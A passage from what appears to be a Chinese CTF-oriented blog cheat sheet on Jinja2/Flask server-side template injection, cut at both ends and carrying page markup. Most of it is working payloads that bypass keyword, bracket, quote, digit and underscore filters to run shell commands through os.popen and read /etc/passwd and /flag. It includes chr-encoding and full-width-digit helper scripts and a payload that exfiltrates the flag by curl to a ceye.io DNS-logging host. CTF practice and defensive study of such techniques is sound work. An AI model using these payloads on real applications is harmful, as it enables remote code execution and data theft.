lipsum.__globals__['os'].popen('tac /f*').read()
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="base64_2394"></a>base64编码</h5>
<pre data-index="127" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt').read()
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h5><a id="chr_2402"></a>利用chr函数</h5>
<p>无法直接使用chr函数,需要通过<code>__builtins__</code>定位</p>
<pre data-index="128" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{% set chr=url_for.__globals__['__builtins__'].chr %}
{<!-- -->{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="jinja2_2411"></a>在jinja2可以使用~进行拼接</h5>
<pre data-index="129" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{%set a='__cla' %}{%set b='ss__'%}{<!-- -->{""[a~b]}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h5><a id="__init____enter____exit___2417"></a>过滤<code>__init__</code>可以用<code>__enter__</code>或<code>__exit__</code>替代</h5>
<pre data-index="130" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
{<!-- -->{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="config_2424"></a>过滤config的绕过</h5>
<pre data-index="131" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{self}} ⇒ <TemplateReference None>
{<!-- -->{self.__dict__._TemplateReference__context}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="reload_2431"></a>reload方法</h5>
<pre data-index="132" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h4><a name="t160"></a><a id="____2441"></a>过滤了[ ]</h4>
<h5><a id="__2443"></a>数字中的[ ]</h5>
<pre data-index="133" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">Python 3.7.8
>>> ["a","kawhi","c"][1]
'kawhi'
>>> ["a","kawhi","c"].pop(1)
'kawhi'
>>> ["a","kawhi","c"].__getitem__(1)
'kawhi'
{<!-- -->{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()}
{<!-- -->{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li></ul></pre>
<h5><a id="__2458"></a>魔术方法中的[ ]</h5>
<p>调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号</p>
<h6><a id="__getattribute___2462"></a><code>__getattribute__</code></h6>
<pre data-index="134" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{"".__getattribute__("__cla"+"ss__").__base__}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h6><a id="request_2468"></a>配合request</h6>
<pre data-index="135" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
{<!-- -->{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h4><a name="t161"></a><a id="__2475"></a>过滤了{{ }}</h4>
<h5><a id="print_2477"></a>使用{%%},并用print进行标记,得到回显</h5>
<h5><a id="DNS__TODO_2479"></a>DNS外带 // TODO</h5>
<h4><a name="t162"></a><a id="___arg__2481"></a>过滤了 " ’ arg []</h4>
<p>使用pop()或者<code>__getitem__</code>绕过</p>
<pre data-index="136" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?name={<!-- -->{().__class__.__base__.__subclasses__().pop(185).__init__.__globals__.__builtins__.eval(request.values.arg3).read()}}&arg3=__import__('os').popen('cat /f*')
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<h4><a name="t163"></a><a id="___arg____2489"></a>过滤了 " ’ arg [] _</h4>
<p>不能使用<code>request.values.name</code>,所以使用<code>request.cookies.name</code>,然后使用flask自带的<code>attr</code>、<code>' '|attr('__class__')</code>等于 <code>' '.__class__</code>。<code>lipsum</code>是一个方法,其调用<code>__globals__</code>可以直接使用os执行命令</p>
<pre data-index="137" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{lipsum.__globals__['os'].popen('whoami').read()}}
{<!-- -->{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
?name={<!-- -->{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie: a=__globals__;b=cat /f*
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h4><a name="t164"></a><a id="___arg____os_2500"></a>过滤了 " ’ arg [] _ os</h4>
<p>使用<code>request.cookies.a</code>绕过</p>
<pre data-index="138" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?name={<!-- -->{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie: a=__globals__;b=os;c=cat /f*
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h4><a name="t165"></a><a id="___arg____os___2509"></a>过滤了 " ’ arg [] _ os {{ }}</h4>
<p>使用<code>{%</code>,因为{%%}是没有回显的,所以使用print来标记使他有回显</p>
<pre data-index="139" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?name={%print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read())%}
Cookie: a=__globals__;b=os;c=cat /f*
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h4><a name="t166"></a><a id="___arg____os___request_2518"></a>过滤了 " ’ arg [] _ os {{ }} request</h4>
<h5><a id="_2520"></a>拼接字符串</h5>
<pre data-index="140" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
lipnum|attr('__globals__').get('os').popen('cat /flag').read()
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h5><a id="chr_2527"></a>使用chr</h5>
<pre data-index="141" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{%set po=dict(po=a,p=a)|join%} #pop
{%set xia=(()|select|string|list).pop(24)%} #_
{%set ini=(xia,xia,dict(init=a)|join,xia,xia)|join%} #__init__
{%set glo=(xia,xia,dict(globals=a)|join,xia,xia)|join%} #__globals__
{%set built=(xia,xia,dict(builtins=a)|join,xia,xia)|join%} # __builtins__
{%set a=(lipsum|attr(glo)).get(built)%}
{%set chr=a.chr%} #chr()
{%print a.eval(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(108)~chr(115)~chr(39)~chr(41)).read()%}
print lipsum|attr('__globals__').get('__builtins__').eval(__import__('os').popen('ls')).read()
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li></ul></pre>
<p>使用下面的脚本来获得ascii码</p>
<pre data-index="142" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token comment">//使用chr绕过ssti过滤引号</span>
<span class="token variable">$str</span><span class="token operator">=</span><span class="token string double-quoted-string">"__import__('os').popen('ls')"</span><span class="token punctuation">;</span>
<span class="token variable">$result</span><span class="token operator">=</span><span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token variable">$i</span><span class="token operator"><</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token variable">$result</span><span class="token operator">.=</span><span class="token string single-quoted-string">'chr('</span><span class="token operator">.</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$i</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">')~'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">echo</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$result</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<h4><a name="t167"></a><a id="___arg____os____2555"></a>过滤了 " ’ arg [] _ os {{ }} 数字</h4>
<h5><a id="_2557"></a>使用全角数字替代</h5>
<pre data-index="143" class="set-code-hide prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment"># 将半角数字转换为全角绕过ban数字</span>
<span class="token keyword">def</span> <span class="token function">half2full</span><span class="token punctuation">(</span>half<span class="token punctuation">)</span><span class="token punctuation">:</span>
full <span class="token operator">=</span> <span class="token string">''</span>
<span class="token keyword">for</span> ch <span class="token keyword">in</span> half<span class="token punctuation">:</span>
<span class="token keyword">if</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span> <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">33</span><span class="token punctuation">,</span> <span class="token number">127</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
ch <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0xfee0</span><span class="token punctuation">)</span>
<span class="token keyword">elif</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">32</span><span class="token punctuation">:</span>
ch <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token number">0x3000</span><span class="token punctuation">)</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
<span class="token keyword">pass</span>
full <span class="token operator">+=</span> ch
<span class="token keyword">return</span> full
t<span class="token operator">=</span><span class="token string">''</span>
<span class="token keyword">while</span> <span class="token number">1</span><span class="token punctuation">:</span>
s <span class="token operator">=</span> <span class="token builtin">input</span><span class="token punctuation">(</span><span class="token string">"输入想要的数字"</span><span class="token punctuation">)</span>
<span class="token keyword">for</span> i <span class="token keyword">in</span> s<span class="token punctuation">:</span>
t<span class="token operator">+=</span>half2full<span class="token punctuation">(</span>i<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>t<span class="token punctuation">)</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li></ul></pre>
<h5><a id="length_2581"></a>使用length获取数字</h5>
<pre data-index="144" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li></ul></pre>
<h4><a name="t168"></a><a id="___arg____os____print_2597"></a>过滤了 " ’ arg [] _ os {{ }} 数字 print</h4>
<h5><a id="dnsceyeiochrchr_2599"></a>使用dns外带(ceye.io),还是使用上面的原理,使用全角数字和chr进行命令执行,获得chr</h5>
<pre data-index="145" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token delimiter important"><?php</span>
<span class="token comment">//使用chr绕过ssti过滤引号</span>
<span class="token variable">$str</span><span class="token operator">=</span><span class="token string double-quoted-string">"__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')"</span><span class="token punctuation">;</span>
<span class="token variable">$result</span><span class="token operator">=</span><span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token keyword">for</span><span class="token punctuation">(</span><span class="token variable">$i</span><span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token variable">$i</span><span class="token operator"><</span><span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$i</span><span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">{<!-- --></span>
<span class="token variable">$result</span><span class="token operator">.=</span><span class="token string single-quoted-string">'chr('</span><span class="token operator">.</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$str</span><span class="token punctuation">[</span><span class="token variable">$i</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token operator">.</span><span class="token string single-quoted-string">')~'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">echo</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$result</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<h5><a id="_2612"></a>普通数字变全角脚本</h5>
<pre data-index="146" class="set-code-hide prettyprint"><code class="prism language-python has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token comment">#正则匹配出字符串中的数字,然后返回全角数字</span>
<span class="token keyword">import</span> re
<span class="token builtin">str</span><span class="token operator">=</span><span class="token triple-quoted-string string">"""chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
"""</span>
result<span class="token operator">=</span><span class="token string">""</span>
<span class="token keyword">def</span> <span class="token function">half2full</span><span class="token punctuation">(</span>half<span class="token punctuation">)</span><span class="token punctuation">:</span>
full <span class="token operator">=</span> <span class="token string">''</span>
<span class="token keyword">for</span> ch <span class="token keyword">in</span> half<span class="token punctuation">:</span>
<span class="token keyword">if</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span> <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">33</span><span class="token punctuation">,</span> <span class="token number">127</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
ch <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0xfee0</span><span class="token punctuation">)</span>
<span class="token keyword">elif</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>ch<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">32</span><span class="token punctuation">:</span>
ch <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token number">0x3000</span><span class="token punctuation">)</span>
<span class="token keyword">else</span><span class="token punctuation">:</span>
<span class="token keyword">pass</span>
full <span class="token operator">+=</span> ch
<span class="token keyword">return</span> full
<span class="token keyword">for</span> i <span class="token keyword">in</span> re<span class="token punctuation">.</span>findall<span class="token punctuation">(</span><span class="token string">'\d{2,3}'</span><span class="token punctuation">,</span><span class="token builtin">str</span><span class="token punctuation">)</span><span class="token punctuation">:</span>
result<span class="token operator">+=</span><span class="token string">"chr("</span><span class="token operator">+</span>half2full<span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token operator">+</span><span class="token string">")~"</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span>
<span class="token keyword">print</span><span class="token punctuation">(</span>result<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li></ul></pre>
<h5><a id="payload_2637"></a>payload</h5>
<pre data-index="147" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}{% set cmd=(chr(95)~chr(95)~chr(105)~chr(109)~chr(112)~chr(111)~chr(114)~chr(116)~chr(95)~chr(95)~chr(40)~chr(39)~chr(111)~chr(115)~chr(39)~chr(41)~chr(46)~chr(112)~chr(111)~chr(112)~chr(101)~chr(110)~chr(40)~chr(39)~chr(99)~chr(117)~chr(114)~chr(108)~chr(32)~chr(104)~chr(116)~chr(116)~chr(112)~chr(58)~chr(47)~chr(47)~chr(96)~chr(99)~chr(97)~chr(116)~chr(32)~chr(47)~chr(102)~chr(108)~chr(97)~chr(103)~chr(96)~chr(46)~chr(117)~chr(107)~chr(105)~chr(52)~chr(121)~chr(57)~chr(46)~chr(99)~chr(101)~chr(121)~chr(101)~chr(46)~chr(105)~chr(111)~chr(39)~chr(41)
)%}{%if x.eval(cmd)%}aaa{%endif%}
q.__init__.__globals__.__getitem__('__builtins__').eval("__import__('os').popen('curl http://`cat /flag`.uki4y9.ceye.io')")
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li></ul></pre>
<h3><a name="t169"></a><a id="_2654"></a>其他</h3>
<h4><a name="t170"></a><a id="chr_2656"></a>获取chr函数</h4>
<pre data-index="148" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr
get_flashed_messages.__globals__['__builtins__'].chr
url_for.__globals__['__builtins__'].chr
lipsum.__globals__['__builtins__'].chr
x.__init__.__globals__['__builtins__'].chr (x为任意值)
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li></ul></pre>
<h4><a name="t171"></a><a id="_2666"></a>获取字符串</h4>
<pre data-index="149" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">request.args.x1 get传参
request.values.x1 get、post传参
request.cookies
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
